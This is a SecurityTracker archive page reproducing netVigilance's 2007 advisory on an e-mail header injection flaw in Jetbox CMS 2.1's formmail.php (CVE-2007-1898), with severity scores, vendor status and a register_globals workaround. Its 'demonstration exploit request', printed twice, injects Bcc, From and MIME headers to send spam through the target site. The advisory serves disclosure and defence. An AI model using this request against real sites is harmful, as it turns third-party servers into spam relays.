SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Forum/Board/Portal)  >   Jetbox CMS Vendors:   jetboxone.sourceforge.net
Jetbox CMS Lets Remote Users Inject E-mail to Send Arbitrary E-mail Messages via the System
SecurityTracker Alert ID:  1018063
SecurityTracker URL:  http://securitytracker.com/id/1018063
CVE Reference:   CVE-2007-1898   (Links to External Site)
Date:  May 15 2007
Impact:   Host/resource access via network
Exploit Included:  Yes  
Version(s): 2.1
Description:   A vulnerability was reported in Jetbox CMS. A remote user can send arbitrary e-mail messages via the system.

The 'formmail.php' script does not properly validate user-supplied input. A remote user can supply specially crafted parameter values to send arbitrary e-mail messages via the system.

The PHP register_globals parameter must be set to exploit this vulnerability.

A demonstration exploit request is provided:

http://[TARGET]/[JETBOX-DIRECTORY formmail.php?recipient=spam1@somedomain.com&_SETTINGS[allowed_email_hosts][]=somedomain.com&subject=Some
Spam Subject%0ABcc: spam_address2@somedomain.com, spam_address2@somedomain.com, spam_address4@somedomain.com, spam_addressN@somedomain.com%0AFrom:
any_address@somedomain.com%0AMIME-Version: 1.0%0AContent-Type: multipart/mixed; boundary=Hacker;%0A%0A-- Hacker%0ASome Spam Message%0A%0AContent-Type:text/html;name=any_file.html;%0AContent-Transfer-Encoding:8bit%0AContent-Disposition:
attachment%0A%0AHTML File%0A%0A--Hacker--%0AOther text will be hide

Jesper Jurcenoks of netVigilance, Inc. discovered this vulnerability.

Impact:   A remote user can send arbitrary e-mail messages via the system.
Solution:   No solution was available at the time of this entry.

[Editor's note: The report indicates that the software may no longer be supported.]

Vendor URL:  jetbox.streamedge.com/ (Links to External Site)
Cause:   Input validation error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  Jetbox CMS version 2.1 E-Mail Injection Vulnerability

Jetbox CMS version 2.1 E-Mail Injection Vulnerability
Description:
Jetbox content management system is seriously tested on usability & has a professional intuitive interface. The system is role based,
 with workflow and module orientated. All content is fully separated from layout. It uses php & mysql.

Security problems in the product allow attackers to send any spam e-mails using mail form of target site.
External References: 
Mitre CVE: CVE-2007-1898
NVD NIST: CVE-2007-1898
OSVDB: 34088

Summary: 
Jetbox content management system has a professional intuitive interface. 
Successful exploitation requires PHP register_globals set to On on the server.
Advisory URL: 
http://www.netvigilance.com/advisory0026

Release Date:
05/15/2007 

Severity:
Risk: Medium
 
CVSS Metrics
Access Vector: Remote
Access Complexity: High
Authentication: Not-required
Confidentiality Impact: None
Integrity Impact: Partial
Availability Impact: Partial
Impact Bias: Normal
CVSS Base Score: 3.7
 
Target Distribution on Internet: Low
 
Exploitability: Functional Exploit
Remediation Level: Workaround
Report Confidence: Uncorroborated
 
Vulnerability Impact: Attack
Host Impact: E-mail injection.

SecureScout Testcase ID:


Vulnerable Systems:
Jetbox version 2.1

Vulnerability Type:
Email Injections using to send anonymous emails to other recipients.
Vendor:
Streamedge Consultancy & Development

Vendor Status: 
Contact with the Vendor was established. The vendor refused to fix the issue and said that Jetbox is not maintained already. There
 is no official fix at the release of this Security Advisory
Workaround:
In the php.ini file set register_globals to Off.

Example: 
REQUEST:
http://[TARGET]/[JETBOX-DIRECTORY formmail.php?recipient=spam1@somedomain.com&_SETTINGS[allowed_email_hosts][]=somedomain.com&subject=Some
 Spam Subject%0ABcc:  spam_address2@somedomain.com, spam_address2@somedomain.com, spam_address4@somedomain.com, spam_addressN@somedomain.com%0AFrom:
 any_address@somedomain.com%0AMIME-Version: 1.0%0AContent-Type: multipart/mixed; boundary=Hacker;%0A%0A--  Hacker%0ASome Spam Message%0A%0AContent-Type:text/html;name=any_file.html;%0AContent-Transfer-Encoding:8bit%0AContent-Disposition:
  attachment%0A%0AHTML File%0A%0A--Hacker--%0AOther text will be hide
REPLY:
Spam will be sent from the target site
Credits: 
Jesper Jurcenoks
Co-founder netVigilance, Inc
www.netvigilance.com
??

??

??

??




	

 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2019, SecurityGlobal.net LLC